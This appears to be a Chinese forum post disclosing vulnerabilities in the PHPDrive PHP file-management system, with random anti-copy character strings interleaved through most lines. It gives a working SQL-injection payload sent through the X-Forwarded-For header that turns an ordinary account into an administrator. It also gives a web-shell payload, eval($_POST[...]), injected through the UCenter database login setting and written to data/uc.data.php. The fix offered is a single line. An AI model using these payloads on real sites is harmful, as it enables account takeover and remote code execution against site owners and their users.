PHPDrive 是一套运行于 PHP 环境的文件管理系统,可以应用于网盘、企业文件管理、学校、团队管理、软件站、文件CMS等
: k N. F& I* `" w& x3 Z% F* Q8 ^- \0 h( R1 K
includes/user.lib.php& d6 _( z6 ]8 O5 d; K; Y' y& i# e0 S* f
行874 u- o2 a9 ]) f' y7 m p/ t# R0 d
function get_ip() {
: X- n X: p, c; D if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])&&$_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];.# _5 O6 s& {" M6 b6 y
在用户注册与登录 处module/disk/account.lead.php* d+ z. j+ I- C* [4 g
198行
4 w* x$ g& ~/ `7 b* M# H& K2 J2 s9 n //更新本次登录IP和时间
. a# B% A! K; Y& f1 x t9 L $db->Query(‘UPDATE `’.$db->TPre.’user` SET `before_last_date` = ‘.$UserArr['last_date'].’,`last_date` = ‘.$NowUnixTime.’,`before_last_ip` = “‘.$UserArr['last_ip'].’”,`last_ip` = “‘.get_ip().’” WHERE `uid` = ‘.$UserArr['uid'].’;');//get_ip()入库注入产生
, l( b+ u, [2 v& q/ @1 y: p由于本套程序user与manager是存在于同一个表下的,只是用group字段来区分两者,group=1为管理员,2则为普通用户。所以可以利用以上注入,将普通用户的group值改为1,即可提升权限! V9 Y$ [6 O! V" J8 s
实现方法:使用firefox的一款插件x-forwarded-for Header 1.0,将你的IP地址改为123″,`group`=”1然后登陆,这时候你就是管理员了.) q* h2 T; ?) i! v1 D4 t/ }6 t
后台getshell:
* H9 N* l9 I- S) F4 A& u$ l在UCenter设置处,将UC数据库登录名填写为
2 s9 H i( ]; Y1 n
: V$ M- F m |5 kroot’);eval($_POST[DisKill]);?>/*; z# k5 G2 R" j% h; P
可以得到一个shell,位置在 data/uc.data.php
2 j7 {$ X6 t* f( @
' y, D/ V2 z; q+ L1 M修复:过滤注入
N% I% f/ j! h7 u' i/ ^/ G2 z! R) i6 b
|